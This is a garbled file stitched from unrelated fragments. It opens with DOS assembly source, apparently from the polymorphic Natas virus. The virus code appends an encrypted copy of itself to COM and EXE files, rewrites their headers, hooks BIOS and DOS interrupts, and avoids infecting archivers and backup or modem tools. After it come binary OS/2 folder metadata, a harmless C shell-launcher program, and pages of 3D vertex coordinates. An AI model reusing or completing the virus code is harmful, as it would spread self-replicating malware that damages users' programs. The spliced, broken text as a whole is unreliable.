                jmp     go_21

;=====( actual infection routine )===========================================;

infect:         push    cs
                pop     ds
                call    read_header             ; read first 18h bytes
                jc      inf_bad_file
                mov     si,dx
                mov     di,offset work_header
                cld
                rep     movsb                   ; copy header to work_header
                call    get_dcb
                les     ax,ds:[di.dcb_size]     ; get file size
                mov     dx,es
                mov     word ptr ds:[di.dcb_pos],ax
                mov     word ptr ds:[di.dcb_pos+2],dx ; lseek to end
                push    cs cs
                pop     es ds
                mov     cx,ds:[si]              ; get first 2 bytes
                cmp     cx,'MZ'                 ; .EXE file?
                je      inf_exe
                cmp     cx,'ZM'                 ; .EXE file?
                je      inf_exe
                or      dx,bp                   ; COM file and < 64k?
                jnz     inf_bad_file
                cmp     ax,0-(file_size+100)
                ja      inf_bad_file
                cmp     ax,1000
                jb      inf_bad_file
                mov     byte ptr ds:[si],0e9h   ; build jump
                inc     ah                      ; Add PSP size (100h)
                push    ax                      ; save IP for engine
                add     ax,offset decrypt-103h  ; get jump disp. (- PSP size)
                mov     ds:[si+1],ax
                jmp     append_vir

inf_bad_file:   stc
                retn

inf_exe:        cmp     word ptr ds:[si.eh_max_mem],-1
                jne     inf_bad_file
                mov     bp,ax
                mov     di,dx                   ; save size in DI:BP
                mov     cx,200h
                div     cx                      ; divide into pages
                or      dx,dx                   ; Any remainder?
                jz      no_round
                inc     ax
no_round:       sub     ax,ds:[si.eh_size]      ; size same as header says?
                jne     inf_bad_file
                sub     dx,ds:[si.eh_modulo]
                jne     inf_bad_file
                mov     ax,file_size            ; virus size
                add     ax,bp
                adc     dx,di                   ; + program size
                div     cx                      ; / 512
                or      dx,dx                   ; round up?
                jz      no_round1
                inc     ax
no_round1:      mov     ds:[si.eh_size],ax
                mov     ds:[si.eh_modulo],dx    ; set new size
                mov     bx,0-(file_size+1000)
                xor     cx,cx
get_exe_ip:     cmp     bp,bx                   ; make sure virus does not
                                                ; cross segments
                jb      got_exe_ip
                sub     bp,10h                  ; down 10h bytes
                loop    get_exe_ip              ; up 1 paragraph
got_exe_ip:     cmp     di,0fh
                ja      inf_bad_file
                xchg    cx,ax
                mov     cl,4
                ror     di,cl                   ; get segment displacement
                or      ax,ax
                jz      no_para_add
                sub     di,ax                   ; Add segments from LOOP
                jnc     inf_bad_file
no_para_add:    sub     di,ds:[si.eh_size_header] ; CS-header size in 
                                                ; paragraphs
                push    bp                      ; save offset of v_start
                add     bp,decrypt-v_start
                mov     ds:[si.eh_ip],bp        ; set IP
                mov     ds:[si.eh_cs],di        ; set CS
                add     bp,512                  ; 512 bytes of stack
                mov     ds:[si.eh_sp],bp        ; set SP
                mov     ds:[si.eh_ss],di        ; set SS
                mov     bp,8000h                ; Tell engine "Exe file"
                sar     bx,cl                   ; 0 - ((file_size+1000h)/16)
                mov     ax,ds:[si.eh_min_mem]
                sub     ax,bx                   ; add file_size+1000h/16
                jnb     append_vir
                mov     ds:[si.eh_min_mem],ax

append_vir:     pop     ax
                call    engine                  ; encrypt/write/decrypt
                push    bp             
                popf
                jc      append_vir_err
                call    get_dcb
                mov     word ptr ds:[di.dcb_pos],cx
                mov     word ptr ds:[di.dcb_pos+2],cx ; lseek to start
                mov     ah,40h
                mov     dx,offset work_header
                push    cs
                pop     ds
                call    header_op               ; write new header to file
append_vir_err: retn
                
;=====( Get DCB address for file )===========================================;

get_dcb:        push    ax bx 
                mov     ax,1220h
                mov     bx,cs:handle            ; get file handle
                int     2fh                     ; get DCB number address
                jc      get_dcb_fail
                mov     ax,1216h
                mov     bl,es:[di]              ; get DCB number
                cmp     bl,-1                   ; Handle Openned?
                cmc
                je      get_dcb_fail
                int     2fh                     ; get DCB address
                jc      get_dcb_fail
                push    es
                pop     ds
                test    byte ptr ds:[di.dcb_dev_attr],80h ; device or file?
                cmc
                jne     get_dcb_fail
                test    byte ptr ds:[di.dcb_date+1],80h ; infected?
get_dcb_fail:   pop     bx ax               
                retn

;=====( Swap original 13h/15h/40h addresses with IVT addresses )=============;

int_2_bios:     push    ax bx dx ds
                mov     al,13h                  ; int 13h
                mov     di,offset int_13
int_2_bios_lp:  push    cs
                pop     ds
                call    get_int                 ; get int address               
                mov     dx,es
                xchg    bx,ds:[di]              ; swap offsets
                cld
                scasw
                xchg    dx,bx
                xchg    bx,ds:[di]              ; swap segments
                scasw
                mov     ds,bx                   ; DS:DX=new address
                call    set_int                 ; set int to DS:DX
                cmp     al,15h                  
                mov     al,15h
                jnb     int_2_bios_40           ; CY AL=13h
                add     di,4
                jmp     int_2_bios_lp

int_2_bios_40:  mov     al,40h
                je      int_2_bios_lp           ; ZR AL=15h else AL=40h, exit
                pop     ds dx bx ax
                retn

;=====( Read/write header to file )==========================================;

read_header:    mov     ah,3fh
                cmp     ax,0
                org     $ - 2
write_header:   mov     ah,40h
                mov     dx,offset header
header_op:      mov     cx,18h
                call    call_21_file             ; read/write header
                jc      read_write_err
                sub     ax,cx
read_write_err: retn

;=====( Unhook int 24h )=====================================================;

undo_24:        mov     al,24h
                lds     dx,cs:int_24
                call    set_int                 ; unhook int 24h
                in      al,21h
                and     al,not 2                ; enable keyboard
                out     21h,al
                retn

;=====( Save returns after int 21h call )====================================;

save_returns:   mov     ss:[bp.reg_ax],ax
                pushf
                pop     ss:[bp.reg_f]
                retn

;=====( Return ZF set if ARJ, PKZIP, LHA or MODEM )==========================;

is_specialfile: push    ax cx si di es
                mov     al,0
check_special   =       byte ptr $ - 1
                or      al,al                   ; Check for special?
                jnz     it_is_special
                call    get_psp                 ; get MCB of current PSP
                mov     ax,es:[di]              ; get 1st 2 letters of name
                cmp     ax,'RA'                 ; ARj?
                je      it_is_special
                cmp     ax,'HL'                 ; LHa?
                je      it_is_special
                cmp     ax,'KP'                 ; PKzip?
                je      it_is_special
                mov     cx,2
                mov     si,offset backup
is_it_mod_bak:  push    cx di
                mov     cl,8
                lods    byte ptr cs:[si]        ; get 'B' or 'M'
                xor     al,66h + 6h             ; decrypt
                repne   scasb
                jne     is_it_mod
                cmp     cl,3
                jb      is_it_mod
                mov     cl,4
is_ode_ack:     lods    byte ptr cs:[si]
                xor     al,66h + 6h
                jz      is_it_mod               ; 0 (done)?
                scasb
                loope   is_ode_ack
is_it_mod:      mov     si,offset modem
                pop     di cx
                loopne  is_it_mod_bak
it_is_special:  pop     es di si cx ax
                retn

backup:         db      'B' xor (66h + 6h) 
                db      'A' xor (66h + 6h)
                db      'C' xor (66h + 6h)
                db      'K' xor (66h + 6h)
                db      0   xor (66h + 6h)

modem:          db      'M' xor (66h + 6h)
                db      'O' xor (66h + 6h)
                db      'D' xor (66h + 6h)
                db      'E' xor (66h + 6h)
                db      'M' xor (66h + 6h)


;=====( get current PSP segment )============================================;

get_psp:        push    ax bx
                mov     ah,62h
                call    call_21                 ; get PSP segment
                dec     bx
                mov     es,bx                   ; MCB of current program
                mov     di,8h                   ; offset of file name
                cld
                pop     bx ax
                retn
                
;=====( Get DTA address )====================================================;

get_dta:        mov     ah,2fh
                call    call_21                 ; DTA address into ES:BX
                push    es
                pop     ds
                retn

call_dos_13:    call    swap_13
                pushf
                call    cs:dos_13
                call    swap_13
                retn

call_disk:      test    dl,80h                  ; ZF -> Floppy disk (int 40h)
                je      call_40

call_13:        pushf
                call    cs:int_13
                retn

call_21_file:   mov     bx,0
handle          =       word ptr $ - 2

call_21:        pushf
                push    cs
                call    go_2_21
                retn

call_40:        pushf
                call    cs:int_40
                retn

include eng.asm

                db      "Natas",0

even

decrypt:        mov     word ptr ds:[100h],1f0eh        ; PUSH CS/POP DS
                mov     byte ptr ds:[102h],0e8h         ; CALL
                jmp     file_start
                
                org     decrypt + 150

header          dw      18h / 2 dup(20cdh)

file_end:

work_header     dw      18h / 2 dup(?)
                
write_buff:     db      encode_end-encode dup(?)

int_21_ss       dw      ?
int_21_sp       dw      ?

                dw      256 / 2 dup(?)
temp_stack:            

jump_code_13    db      5 dup(?)
jump_code_21    db      5 dup(?)

int_1           dd      ?
int_24          dd      ?

int_13          dd      ?
dos_13          dd      ?
int_15          dd      ?
int_40          dd      ?
int_21          dd      ?

new_24:         db      3 dup(?)

push_pop_ret    dw      ?

pointer         dw      ?
disp            dw      ?
encode_ptr      dw      ?
encode_enc_ptr  dw      ?

key_reg         db      ?
count_reg       db      ?
ptr_reg         db      ?
ptr_reg1        db      ?
modify_op       db      ?


origin          db      ?
inst_count      db      ?

disk_buff       db      512 dup(?)

v_end:


;=====( Very useful structures )=============================================;



;=====( Memory Control Block structure )=====================================;

mcb             struc
mcb_sig         db      ?               ; 'Z' or 'M'
mcb_owner       dw      ?               ; attribute of owner
mcb_size        dw      ?               ; size of mcb block
mcb_name        db      8 dup(?)        ; file name of owner
mcb             ends


;=====( For functions 11h and 12h )==========================================;


Directory       STRUC
DS_Drive        db ?
DS_Name         db 8 dup(0)
DS_Ext          db 3 dup(0)
DS_Attr         db ?
DS_Reserved     db 10 dup(0)
DS_Time         dw ?
DS_Date         dw ?
DS_Start_Clust  dw ?
DS_Size         dd ?
Directory       ENDS


;=====( for functions 4eh and 4fh )==========================================;


DTA             STRUC
DTA_Reserved    db 21 dup(0)
DTA_Attr        db ?
DTA_Time        dw ?
DTA_Date        dw ?
DTA_Size        dd ?
DTA_Name        db 13 dup(0)
DTA             ENDS


Exe_Header      STRUC
EH_Signature    dw ?                    ; Set to 'MZ' or 'ZM' for .exe files
EH_Modulo       dw ?                    ; remainder of file size/512
EH_Size         dw ?                    ; file size/512
EH_Reloc        dw ?                    ; Number of relocation items
EH_Size_Header  dw ?                    ; Size of header in paragraphs
EH_Min_Mem      dw ?                    ; Minimum paragraphs needed by file
EH_Max_Mem      dw ?                    ; Maximum paragraphs needed by file
EH_SS           dw ?                    ; Stack segment displacement
EH_SP           dw ?                    ; Stack Pointer
EH_Checksum     dw ?                    ; Checksum, not used
EH_IP           dw ?                    ; Instruction Pointer of Exe file
EH_CS           dw ?                    ; Code segment displacement of .exe
eh_1st_reloc    dw      ?               ; first relocation item
eh_ovl          dw      ?               ; overlay number
Exe_Header      ENDS                      

Boot_Sector             STRUC
bs_Jump                 db 3 dup(?)
bs_Oem_Name             db 8 dup(?)
bs_Bytes_Per_Sector     dw ?
bs_Sectors_Per_Cluster  db ?
bs_Reserved_Sectors     dw ?               
bs_FATs                 db ?             ; Number of FATs
bs_Root_Dir_Entries     dw ?             ; Max number of root dir entries
bs_Sectors              dw ?             ; number of sectors; small
bs_Media                db ?             ; Media descriptor byte
bs_Sectors_Per_FAT      dw ?
bs_Sectors_Per_Track    dw ?               
bs_Heads                dw ?             ; number of heads
bs_Hidden_Sectors       dd ?
bs_Huge_Sectors         dd ?             ; number of sectors; large
bs_Drive_Number         db ?
bs_Reserved             db ?
bs_Boot_Signature       db ?
bs_Volume_ID            dd ?
bs_Volume_Label         db 11 dup(?)
bs_File_System_Type     db 8 dup(?)
Boot_Sector             ENDS
                
                
Partition_Table         STRUC
pt_Code                 db 1beh dup(?)  ; partition table code
pt_Status               db ?            ; 0=non-bootable 80h=bootable
pt_Start_Head           db ?            
pt_Start_Sector_Track   dw ?
pt_Type                 db ?            ; 1 = DOS 12bit FAT 4 = DOS 16bit FAT
pt_End_Head             db ?
pt_End_Sector_Track     dw ?
pt_Starting_Abs_Sector  dd ?
pt_Number_Sectors       dd ?
Partition_Table         ENDS


int_1_stack     STRUC
st_ip           dw ?                    ; offset of next instruction after
                                        ; interrupt
st_cs           dw ?                    ; segment of next instruction
st_flags        dw ?                    ; flags when interrupt was called
int_1_stack     ENDS

;----------------------------------------------------------------------------;
;               Dcb description for DOS 3+                                   ;   
;                                                                            ;
;      Offset  Size    Description                                           ;
;       00h    WORD    number of file handles referring to this file         ;
;       02h    WORD    file open mode (see AH=3Dh)                           ;
;              bit 15 set if this file opened via FCB                        ;
;       04h    BYTE    file attribute                                        ;
;       05h    WORD    device info word (see AX=4400h)                       ;
;       07h    DWORD   pointer to device driver header if character device   ;
;              else pointer to DOS Drive Parameter Block (see AH=32h)        ;
;       0Bh    WORD    starting cluster of file                              ;
;       0Dh    WORD    file time in packed format (see AX=5700h)             ;
;       0Fh    WORD    file date in packed format (see AX=5700h)             ;
;       11h    DWORD   file size                                             ;
;       15h    DWORD   current offset in file                                ;
;       19h    WORD    relative cluster within file of last cluster accessed ;
;       1Bh    WORD    absolute cluster number of last cluster accessed      ;
;              0000h if file never read or written???                        ;
;       1Dh    WORD    number of sector containing directory entry           ;
;       1Fh    BYTE    number of dir entry within sector (byte offset/32)    ;
;       20h 11 BYTEs   filename in FCB format (no path/period, blank-padded) ;
;       2Bh    DWORD   (SHARE.EXE) pointer to previous SFT sharing same file ;
;       2Fh    WORD    (SHARE.EXE) network machine number which opened file  ;
;       31h    WORD    PSP segment of file's owner (see AH=26h)              ;
;       33h    WORD    offset within SHARE.EXE code segment of               ;
;              sharing record (see below)  0000h = none                      ;
;----------------------------------------------------------------------------;                                                                            



dcb             struc
dcb_users       dw      ?
dcb_mode        dw      ?
dcb_attr        db      ?
dcb_dev_attr    dw      ?
dcb_drv_addr    dd      ?
dcb_1st_clst    dw      ?
dcb_time        dw      ?
dcb_date EA     EMUL    ртџ#    f   M .ICONPOS ўџI џ  џ        р  `       WPFolder:DTI         WPFolder:DMAC          
љ .CLASSINFO ўџѕ    ф   WPFolder   о д   	 p WPFolder  sD  0 D P (0        џџџџ   @яџџџяџџџнџџџяџџџяџџџнџџџ   @   @   @     t џџ q ўџџџ    ўџџџ            	 D WPObject    g       	                     201573@10 џџ   џџџџџџџџ      alloc.h>

#include <stdio.h>

int CheckForWin(void) {
	HKEY d;

	if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", NULL, KEY_READ, &d)==0) {
		return 2;
	}
	return 1;
}

int main(void) {
	char caption[]="AUshell\0";
	char IniFILE[]="AUshell.ini\0";
	char *PATHd, *PATHMenu;
	char *buffer;
	int i,count;
	HWND command;

	buffer=malloc(1024);

	PATHd=malloc(255);
	PATHMenu=malloc(255);
	/* doit fournit le nom du demarrer dans PATHd */
	/*GetWindowsDirectory(PATHd,255);*/
	PATHMenu="C:\\TEMP\\MENU\0";
	if (GetPrivateProfileSection("General",buffer,1024,IniFILE)==0) {
		MessageBoxA(0,"This is the first time you run AUshell, I create a AUshell.ini",caption,MB_OK);
		WritePrivateProfileSection("General","COMMAND = 1\0PopUpMenu = 0\0MoreLaunch = 0\0",IniFILE);
		WritePrivateProfileSection("PopUp",PATHMenu,IniFILE);
		WritePrivateProfileSection("MoreLaunch","HowMany = 1\0Prog0 = d:\\utils\\clock.exe\0",IniFILE);
	}
	if (GetPrivateProfileInt("General","PopUpMenu",0,IniFILE)==1) {
		if (GetPrivateProfileString("PopUp","PATH",PATHd,buffer,1024,IniFILE)!=0) {
			MessageBoxA(0,"PopUp Menu is not yet implemented...",caption,MB_OK);
		}
		MessageBoxA(0,"The PopUp section of the AUshell.ini is not good...",caption,MB_OK);
	}
	if (GetPrivateProfileInt("General","MoreLaunch",0,IniFILE)==1) {
		count=GetPrivateProfileInt("MoreLaunch","HowMany",0,IniFILE);
		if (count!=0) {
			count+=48;
			for (i=48;i<count;i++) {
				char Prog[]="Prog\0\0";
				Prog[4]=i;
				GetPrivateProfileString("MoreLaunch",Prog,NULL,buffer,1024,IniFILE);
				spawnlp(P_NOWAIT,buffer,"/",NULL);
			}
		}
	}
	if (GetPrivateProfileInt("General","COMMAND",1,IniFILE)==1) {
		if (CheckForWin()==2) { /* pour WinNT */
			spawnlp(P_NOWAIT,"cmd.exe","/",NULL);
		}
		else {
			spawnlp(P_NOWAIT,"command.com","/E:2048",NULL);
		}
	}

	realloc(PATHMenu,0);
	realloc(PATHd,0);

	realloc(buffer,0);

	return 0;
}

                                                                                                                                                                                              X: 137.401596     Y: 13.569137     Z: 204.976318
Vertex 40:  X: 49.606136     Y: 0.000022     Z: 247.465637
Vertex 41:  X: 48.501442     Y: -13.569096     Z: 241.954758
Vertex 42:  X: 45.83448     Y: -19.18961     Z: 228.650314
Vertex 43:  X: 43.167515     Y: -13.569098     Z: 215.345871
Vertex 44:  X: 42.06282     Y: 0.00002     Z: 209.834991
Vertex 45:  X: 43.167515     Y: 13.569138     Z: 215.345856
Vertex 46:  X: 45.83448     Y: 19.189648     Z: 228.650299
Vertex 47:  X: 48.501442     Y: 13.569139     Z: 241.954742
Vertex 48:  X: -48.870941     Y: 0.000022     Z: 247.611877
Vertex 49:  X: -47.782619     Y: -13.569096     Z: 242.097733
Vertex 50:  X: -45.155182     Y: -19.18961     Z: 228.785446
Vertex 51:  X: -42.527744     Y: -13.569098     Z: 215.473129
Vertex 52:  X: -41.439423     Y: 0.00002     Z: 209.958984
Vertex 53:  X: -42.527744     Y: 13.569138     Z: 215.473114
Vertex 54:  X: -45.155182     Y: 19.189648     Z: 228.785431
Vertex 55:  X: -47.782619     Y: 13.569139     Z: 242.097717

                                     Page 1



Vertex 56:  X: -139.907852     Y: 0.000018     Z: 210.061401
Vertex 57:  X: -136.792206     Y: -13.569098     Z: 205.383499
Vertex 58:  X: -129.27037     Y: -19.189611     Z: 194.090012
Vertex 59:  X: -121.748528     Y: -13.5691     Z: 182.796524
Vertex 60:  X: -118.632881     Y: 0.000017     Z: 178.118591
Vertex 61:  X: -121.748528     Y: 13.569135     Z: 182.796509
Vertex 62:  X: -129.27037     Y: 19.189646     Z: 194.089996
Vertex 63:  X: -136.792206     Y: 13.569137     Z: 205.383484
Vertex 64:  X: -209.64505     Y: 0.000012     Z: 140.530975
Vertex 65:  X: -204.97641     Y: -13.569104     Z: 137.401474
Vertex 66:  X: -193.705307     Y: -19.189617     Z: 129.846115
Vertex 67:  X: -182.434204     Y: -13.569106     Z: 122.290787
Vertex 68:  X: -177.765549     Y: 0.000012     Z: 119.161263
Vertex 69:  X: -182.434204     Y: 13.569129     Z: 122.290787
Vertex 70:  X: -193.705307     Y: 19.18964     Z: 129.8461
Vertex 71:  X: -204.97641     Y: 13.569131     Z: 137.401459
Vertex 72:  X: -247.465668     Y: 0.000004     Z: 49.60598
Vertex 73:  X: -241.954788     Y: -13.569113     Z: 48.501289
Vertex 74:  X: -228.650345     Y: -19.189625     Z: 45.834332
Vertex 75:  X: -215.345886     Y: -13.569113     Z: 43.167377
Vertex 76:  X: -209.835007     Y: 0.000005     Z: 42.062687
Vertex 77:  X: -215.345901     Y: 13.569122     Z: 43.167377
Vertex 78:  X: -228.650345     Y: 19.189632     Z: 45.834332
Vertex 79:  X: -241.954788     Y: 13.569122     Z: 48.501289
Vertex 80:  X: -247.611847     Y: -0.000004     Z: -48.871098
Vertex 81:  X: -242.097702     Y: -13.56912     Z: -47.782776
Vertex 82:  X: -228.7854     Y: -19.189632     Z: -45.155327
Vertex 83:  X: -215.473099     Y: -13.56912     Z: -42.527882
Vertex 84:  X: -209.958969     Y: -0.000002     Z: -41.439556
Vertex 85:  X: -215.473099     Y: 13.569115     Z: -42.527882
Vertex 86:  X: -228.7854     Y: 19.189625     Z: -45.155327
Vertex 87:  X: -242.097702     Y: 13.569115     Z: -47.782772
Vertex 88:  X: -210.061325     Y: -0.000012     Z: -139.90799
Vertex 89:  X: -205.383408     Y: -13.569129     Z: -136.792343
Vertex 90:  X: -194.08992     Y: -19.18964     Z: -129.270493
Vertex 91:  X: -182.796432     Y: -13.569127     Z: -121.74865
Vertex 92:  X: -178.11853     Y: -0.000009     Z: -118.632996
Vertex 93:  X: -182.796448     Y: 13.569108     Z: -121.74865
Vertex 94:  X: -194.08992     Y: 19.189617     Z: -129.270508
Vertex 95:  X: -205.383408     Y: 13.569106     Z: -136.792328
Vertex 96:  X: -140.530869     Y: -0.000018     Z: -209.645142
Vertex 97:  X: -137.401337     Y: -13.569135     Z: -204.976486
Vertex 98:  X: -129.846008     Y: -19.189646     Z: -193.705368
Vertex 99:  X: -122.29068     Y: -13.569133     Z: -182.43428
Vertex 100:  X: -119.161156     Y: -0.000014     Z: -177.765656
Vertex 101:  X: -122.29068     Y: 13.569102     Z: -182.434296
Vertex 102:  X: -129.846008     Y: 19.189611     Z: -193.705383
Vertex 103:  X: -137.401337     Y: 13.5691     Z: -204.976501
Vertex 104:  X: -49.60582     Y: -0.000022     Z: -247.465698
Vertex 105:  X: -48.501137     Y: -13.569138     Z: -241.954819
Vertex 106:  X: -45.834187     Y: -19.189648     Z: -228.650345
Vertex 107:  X: -43.16724     Y: -13.569136     Z: -215.345901
Vertex 108:  X: -42.062553     Y: -0.000017     Z: -209.835052
Vertex 109:  X: -43.16724     Y: 13.569099     Z: -215.345917
Vertex 110:  X: -45.834187     Y: 19.18961     Z: -228.65036
Vertex 111:  X: -48.501133     Y: 13.569098     Z: -241.954834
Vertex 112:  X: 48.871262     Y: -0.000022     Z: -247.611816
Vertex 113:  X: 47.782932     Y: -13.569138     Z: -242.097641
Vertex 114:  X: 45.155476     Y: -19.189648     Z: -228.785355
Vertex 115:  X: 42.528023     Y: -13.569136     Z: -215.473038
Vertex 116:  X: 41.439693     Y: -0.000017     Z: -209.958923

                                     Page 2



Vertex 117:  X: 42.528023     Y: 13.569099     Z: -215.473083
Vertex 118:  X: 45.155476     Y: 19.18961     Z: -228.78537
Vertex 119:  X: 47.782932     Y: 13.569098     Z: -242.097656
Vertex 120:  X: 139.908127     Y: -0.000018     Z: -210.061249
Vertex 121:  X: 136.792465     Y: -13.569135     Z: -205.383316
Vertex 122:  X: 129.270615     Y: -19.189646     Z: -194.089828
Vertex 123:  X: 121.748764     Y: -13.569133     Z: -182.796341
Vertex 124:  X: 118.63311     Y: -0.000014     Z: -178.118469
Vertex 125:  X: 121.748764     Y: 13.569102     Z: -182.796356
Vertex 126:  X: 129.270615     Y: 19.189611     Z: -194.089844
Vertex 127:  X: 136.792465     Y: 13.5691     Z: -205.383331
Vertex 128:  X: 249.932419     Y: -20.827681     Z: 0.000002
Vertex 129:  X: 244.116898     Y: -20.343052     Z: 14.088573
Vertex 130:  X: 230.076996     Y: -19.173061     Z: 19.92425
Vertex 131:  X: 216.037094     Y: -18.003071     Z: 14.088573
Vertex 132:  X: 210.221573     Y: -17.518446     Z: -0
Vertex 133:  X: 216.037094     Y: -18.003075     Z: -14.088572
Vertex 134:  X: 230.076996     Y: -19.173065     Z: -19.924246
Vertex 135:  X: 244.116898     Y: -20.343056     Z: -14.088571
Vertex 136:  X: 238.877838     Y: 76.402763     Z: -0.000007
Vertex 137:  X: 233.319534     Y: 74.624992     Z: 14.088564
Vertex 138:  X: 219.90062     Y: 70.333084     Z: 19.924242
Vertex 139:  X: 206.481705     Y: 66.041176     Z: 14.088565
Vertex 140:  X: 200.923401     Y: 64.263405     Z: -0.000007
Vertex 141:  X: 206.481705     Y: 66.041176     Z: -14.088579
Vertex 142:  X: 219.90062     Y: 70.333084     Z: -19.924253
Vertex 143:  X: 233.319534     Y: 74.624992     Z: -14.088579
Vertex 144:  X: 191.456238     Y: 162.001572     Z: -0.000014
Vertex 145:  X: 187.001373     Y: 158.232056     Z: 14.088556
Vertex 146:  X: 176.246353     Y: 149.131653     Z: 19.924234
Vertex 147:  X: 165.491333     Y: 140.03125     Z: 14.088558
Vertex 148:  X: 161.036453     Y: 136.261734     Z: -0.000014
Vertex 149:  X: 165.491333     Y: 140.03125     Z: -14.088586
Vertex 150:  X: 176.246353     Y: 149.131653     Z: -19.924261
Vertex 151:  X: 187.001358     Y: 158.232056     Z: -14.088587
Vertex 152:  X: 114.887154     Y: 222.937073     Z: -0.000019
Vertex 153:  X: 112.213913     Y: 217.749695     Z: 14.088552
Vertex 154:  X: 105.760147     Y: 205.226242     Z: 19.924231
Vertex 155:  X: 99.306389     Y: 192.702805     Z: 14.088553
Vertex 156:  X: 96.633148     Y: 187.515427     Z: -0.000018
Vertex 157:  X: 99.306389     Y: 192.702805     Z: -14.088591
Vertex 158:  X: 105.760147     Y: 205.226242     Z: -19.924265
Vertex 159:  X: 112.213913     Y: 217.749695     Z: -14.088592
Vertex 160:  X: 20.82752     Y: 249.932419     Z: -0.000022
Vertex 161:  X: 20.342897     Y: 244.116898     Z: 14.08855
Vertex 162:  X: 19.172916     Y: 230.076996     Z: 19.924227
Vertex 163:  X: 18.002934     Y: 216.037094     Z: 14.088552
Vertex 164:  X: 17.518311     Y: 210.221573     Z: -0.00002
Vertex 165:  X: 18.002934     Y: 216.037094     Z: -14.088593
Vertex 166:  X: 19.172916     Y: 230.076996     Z: -19.924269
Vertex 167:  X: 20.342897     Y: 244.116898     Z: -14.088593
Vertex 168:  X: -76.402802     Y: 238.877823     Z: -0.000021
Vertex 169:  X: -74.625031     Y: 233.319519     Z: 14.088551
Vertex 170:  X: -70.333122     Y: 219.900604     Z: 19.924229
Vertex 171:  X: -66.041206     Y: 206.481689     Z: 14.088552
Vertex 172:  X: -64.263435     Y: 200.923386     Z: -0.000019
Vertex 173:  X: -66.041206     Y: 206.481689     Z: -14.088592
Vertex 174:  X: -70.333122     Y: 219.900604     Z: -19.924267
Vertex 175:  X: -74.625031     Y: 233.319519     Z: -14.088593
Vertex 176:  X: -162.001602     Y: 191.456223     Z: -0.000017
Vertex 177:  X: -158.232086     Y: 187.001358     Z: 14.088554

                                     Page 3



Vertex 178:  X: -149.131683     Y: 176.246338     Z: 19.924232
Vertex 179:  X: -140.031281     Y: 165.491318     Z: 14.088556
Vertex 180:  X: -136.261765     Y: 161.036438     Z: -0.000016
Vertex 181:  X: -140.031281     Y: 165.491318     Z: -14.088588
Vertex 182:  X: -149.131683     Y: 176.246338     Z: -19.924263
Vertex 183:  X: -158.232086     Y: 187.001358     Z: -14.088589
Vertex 184:  X: -222.937103     Y: 114.887123     Z: -0.00001
Vertex 185:  X: -217.749725     Y: 112.213882     Z: 14.088561
Vertex 186:  X: -205.226273     Y: 105.760124     Z: 19.924238
Vertex 187:  X: -192.70282     Y: 99.306358     Z: 14.088562
Vertex 188:  X: -187.515442     Y: 96.633125     Z: -0.00001
Vertex 189:  X: -192.702835     Y: 99.306358     Z: -14.088582
Vertex 190:  X: -205.226273     Y: 105.760124     Z: -19.924257
Vertex 191:  X: -217.749725     Y: 112.213882     Z: -14.088582
Vertex 192:  X: -249.932434     Y: 20.82748     Z: -0.000002
Vertex 193:  X: -244.116913     Y: 20.342861     Z: 14.088569
Vertex 194:  X: -230.077011     Y: 19.172882     Z: 19.924246
Vertex 195:  X: -216.037094     Y: 18.002901     Z: 14.088569
Vertex 196:  X: -210.221573     Y: 17.518278     Z: -0.000003
Vertex 197:  X: -216.037109     Y: 18.002899     Z: -14.088575
Vertex 198:  X: -230.077011     Y: 19.172878     Z: -19.92425
Vertex 199:  X: -244.116913     Y: 20.342857     Z: -14.088574
Vertex 200:  X: -238.877777     Y: -76.402954     Z: 0.000007
Vertex 201:  X: -233.319473     Y: -74.625183     Z: 14.088577
Vertex 202:  X: -219.900558     Y: -70.333267     Z: 19.924253
Vertex 203:  X: -206.481644     Y: -66.041344     Z: 14.088576
Vertex 204:  X: -200.923355     Y: -64.263573     Z: 0.000004
Vertex 205:  X: -206.481659     Y: -66.041344     Z: -14.088568
Vertex 206:  X: -219.900558     Y: -70.333267     Z: -19.924242
Vertex 207:  X: -233.319473     Y: -74.625183     Z: -14.088566
Vertex 208:  X: -191.456116     Y: -162.001724     Z: 0.000014
Vertex 209:  X: -187.001251     Y: -158.232208     Z: 14.088585
Vertex 210:  X: -176.246231     Y: -149.13179     Z: 19.924261
Vertex 211:  X: -165.491226     Y: -140.031372     Z: 14.088583
Vertex 212:  X: -161.036362     Y: -136.261856     Z: 0.00001
Vertex 213:  X: -165.491226     Y: -140.031372     Z: -14.088561
Vertex 214:  X: -176.246246     Y: -149.13179     Z: -19.924234
Vertex 215:  X: -187.001251     Y: -158.232208     Z: -14.088558
Vertex 216:  X: -114.886971     Y: -222.93718     Z: 0.000019
Vertex 217:  X: -112.213737     Y: -217.749802     Z: 14.08859
Vertex 218:  X: -105.759987     Y: -205.226349     Z: 19.924265
Vertex 219:  X: -99.306229     Y: -192.702896     Z: 14.088588
Vertex 220:  X: -96.633003     Y: -187.515503     Z: 0.000015
Vertex 221:  X: -99.306236     Y: -192.702896     Z: -14.088556
Vertex 222:  X: -105.759987     Y: -205.226349     Z: -19.924231
Vertex 223:  X: -112.213737     Y: -217.749802     Z: -14.088553
Vertex 224:  X: -20.82732     Y: -249.932449     Z: 0.000022
Vertex 225:  X: -20.342703     Y: -244.116928     Z: 14.088592
Vertex 226:  X: -19.172731     Y: -230.077026     Z: 19.924269
Vertex 227:  X: -18.002762     Y: -216.037109     Z: 14.08859
Vertex 228:  X: -17.518143     Y: -210.221588     Z: 0.000017
Vertex 229:  X: -18.002762     Y: -216.037109     Z: -14.088554
Vertex 230:  X: -19.172731     Y: -230.077026     Z: -19.924227
Vertex 231:  X: -20.342703     Y: -244.116928     Z: -14.088552
Vertex 232:  X: 76.403107     Y: -238.877731     Z: 0.000021
Vertex 233:  X: 74.625328     Y: -233.319427     Z: 14.088591
Vertex 234:  X: 70.333405     Y: -219.900528     Z: 19.924267
Vertex 235:  X: 66.041473     Y: -206.481613     Z: 14.088589
Vertex 236:  X: 64.263695     Y: -200.923325     Z: 0.000016
Vertex 237:  X: 66.041473     Y: -206.481613     Z: -14.088555
Vertex 238:  X: 70.333405     Y: -219.900528     Z: -19.924229

                                     Page 4



Vertex 239:  X: 74.625328     Y: -233.319427     Z: -14.088552
Vertex 240:  X: 162.001846     Y: -191.456024     Z: 0.000017
Vertex 241:  X: 158.23233     Y: -187.001144     Z: 14.088587
Vertex 242:  X: 149.131897     Y: -176.24614     Z: 19.924263
Vertex 243:  X: 140.031479     Y: -165.491135     Z: 14.088585
Vertex 244:  X: 136.261963     Y: -161.03627     Z: 0.000012
Vertex 245:  X: 140.031479     Y: -165.491135     Z: -14.088559
